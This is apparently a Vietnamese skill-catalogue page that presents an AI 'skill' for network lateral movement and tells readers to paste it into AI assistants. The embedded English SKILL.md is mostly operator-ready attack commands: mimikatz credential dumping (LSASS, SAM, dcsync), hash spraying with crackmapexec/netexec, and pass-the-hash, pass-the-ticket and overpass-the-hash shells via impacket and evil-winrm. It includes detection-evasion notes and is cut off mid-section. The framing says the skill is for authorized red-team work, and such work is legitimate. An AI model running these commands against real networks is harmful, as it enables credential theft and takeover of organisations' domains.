Chuyển đến nội dung
Skillpedia
Bảo mật10k · #11965

offensive-lateral-movement

Skill này làm gì

Skill này là phương pháp di chuyển qua mạng sau khi có điểm đặt chân ban đầu trong một bài kiểm thử red team hoặc pen test được ủy quyền. Nó bao quát tái sử dụng thông tin xác thực, relay NTLM, các giao thức thực thi từ xa và đường hầm. Nó dành cho chuyên gia bảo mật có văn bản cho phép.

Khi nào nên dùng

  • ✓Khi bạn có điểm đặt chân trong một bài kiểm thử được ủy quyền và cần kiểm tra thông tin xác thực có thể tới đâu.
  • ✓Khi bạn muốn kiểm thử nguy cơ relay NTLM trên các máy không bật ký SMB.
  • ✓Khi bạn cần ghi lại từng bước pivot cho báo cáo đánh giá.

Liên kết skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/post-exploitation/offensive-lateral-movement/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Chúng tôi được ủy quyền kiểm thử mạng của mình từ một máy trạm đã bị xâm nhập. Kiểm tra xem những máy nào chấp nhận thông tin xác thực bị tái sử dụng.”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Skill liệt kê các máy có thể tới và các cổng phổ biến, rồi kiểm thử việc tái sử dụng thông tin xác thực và các tùy chọn thực thi từ xa. Nếu cần tới các mạng bị phân đoạn, nó thiết lập đường hầm và ghi lại từng bước pivot.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after initial compromise. You pivot from one system to another using harvested credentials, token manipulation, or protocol abuse. The goal is to reach high-value targets -- domain controllers, database servers, file shares -- while minimizing detection footprint. Every technique here assumes you hold at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution protocols, session hijacking, and network tunneling. Apply these in authorized engagements only.

Quick Workflow

  1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
  2. Harvest credentials from the current host (LSASS, SAM, cached creds).
  3. Test credential reuse across discovered hosts with crackmapexec/netexec.
  4. Select a movement technique based on available credentials and target services.
  5. Establish persistence on the new host before moving further.
  6. Set up tunneling if you need to reach segmented networks.
  7. Document each pivot for your engagement report.

Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing the plaintext password. You extract hashes from LSASS, the SAM database, or NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv

Use crackmapexec (or netexec) to spray the hash across the network:

# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares

Use impacket for shell access:

# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>

OPSEC note: PsExec creates a service on the target (event 7045). Prefer wmiexec or evil-winrm when possible. Crackmapexec with --no-bruteforce prevents lockouts when testing multiple users against multiple hashes.


Pass-the-Ticket and Overpass-the-Hash

Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session, letting you authenticate as the ticket owner. Overpass-the-hash converts an NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a hash alone.

Export tickets from memory with mimikatz:

# List all Kerberos tickets in memory
sekurlsa::tickets /export

# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi

Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:

# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe

From Linux using impacket:

# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache

# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local

Request a service ticket for a specific SPN:

# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

OPSEC note: Kerberos authentication generates event 4768 (TGT request) and 4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4 encryption when AES is the domain default -- this is a known detection signal.


NTLM Relay Attacks

NTLM relay captures authentication attempts and forwards them to a target service. You coerce a machine to authenticate to your listener, then relay that authentication to another host where SMB signing is not enforced.

Check SMB s

Câu hỏi thường gặp

Pass-the-hash là gì?

Đó là xác thực bằng hash mật khẩu thay vì mật khẩu gốc, và skill kiểm thử điều này trên các máy được ủy quyền.

Nó có cần một thông tin xác thực trước không?

Có. Skill giả định có ít nhất một thông tin xác thực hợp lệ hoặc token phiên trên máy hiện tại.

Đây có chỉ dành cho kiểm thử được ủy quyền không?

Có. Skill dành cho các hợp đồng kiểm thử được ủy quyền.

Chi tiết

Mô tả gốc của tác giả

Comprehensive lateral movement tradecraft for authorized red team engagements covering credential-based movement (pass-the-hash, pass-the-ticket, overpass-the-hash), NTLM relay attacks (ntlmrelayx with PetitPotam, DFSCoerce, PrinterBug coercion), remote execution protocols (WMI, WinRM, DCOM, PsExec and alternatives), RDP session hijacking, and network pivoting through tunneling tools (chisel, ligolo-ng, SSH tunnels, SOCKS proxies). Provides operator-ready command sequences for mimikatz, crackmapexec/netexec, impacket suite, and evil-winrm with emphasis on OPSEC considerations, SMB signing bypa

repo: SnailSploit/Claude-Red

Độ phổ biến

Sao GitHub
10k
Vị trí xếp hạng
#11965
Giấy phép
MIT
Cập nhật
12/10/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự